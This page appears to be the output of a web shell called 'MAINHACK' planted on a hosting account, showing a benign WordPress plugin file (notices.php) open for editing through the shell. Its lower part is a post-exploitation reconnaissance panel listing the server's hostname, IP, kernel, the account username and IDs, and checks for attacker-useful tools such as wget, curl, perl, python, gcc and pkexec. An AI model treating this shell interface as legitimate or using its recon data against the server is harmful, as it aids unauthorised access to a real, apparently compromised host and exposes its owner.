[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: notices.php
<?php // SPDX-FileCopyrightText: 2026 Ovation S.r.l. <dev@novamira.ai> // SPDX-License-Identifier: AGPL-3.0-or-later declare(strict_types=1); namespace Novamira\Skills\Notices; use Novamira\Skills\Admin; if (!defined('ABSPATH')) { exit(); } const RELOAD_NOTICE_TRANSIENT = 'novamira_skill_pending_reload_notice'; const RELOAD_NOTICE_TTL = 60; /** * Mark that the skill index has changed and a reload-MCP-client notice * should be shown to the admin the next time they land on a Novamira * admin page. Transient auto-expires after RELOAD_NOTICE_TTL seconds. */ function set_pending_reload_notice(): void { set_transient(RELOAD_NOTICE_TRANSIENT, value: '1', expiration: RELOAD_NOTICE_TTL); } /** * Hooked on `admin_notices`. Renders: * - any inline notice queued by `redirect_with_notice()` (one-shot transient), * - the reload-MCP-client notice while a change is "recent" (< 60s) and the * current admin screen belongs to Novamira. */ function render(): void { if (!Admin\current_user_can_manage()) { return; } // Inline notice from a failed/successful action redirect. $inline_key = 'novamira_skill_admin_notice_' . get_current_user_id(); /** @var array{type?: string, message?: string}|false $inline */ $inline = get_transient($inline_key); if (is_array($inline)) { delete_transient($inline_key); $type = $inline['type'] ?? 'success'; $message = $inline['message'] ?? ''; $class = $type === 'error' ? 'notice-error' : 'notice-success'; if ($message !== '') { printf('<div class="notice %s is-dismissible"><p>%s</p></div>', esc_attr($class), esc_html($message)); } } // Reload notice while the change is "recent" (transient still alive) // and we're on the Skills admin page specifically — other Novamira // screens don't need this prompt. $screen = function_exists('get_current_screen') ? get_current_screen() : null; if (!$screen instanceof \WP_Screen) { return; } if ($screen->id !== 'novamira_page_' . Admin\PAGE_SLUG) { return; } if (get_transient(RELOAD_NOTICE_TRANSIENT) === '1') { echo '<div class="notice notice-info is-dismissible"><p>' . esc_html__( 'Skill list updated. If your AI client is already connected to this site, restart the conversation (or reconnect the client) so it sees the new state.', domain: 'novamira', ) . '</p></div>' ; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154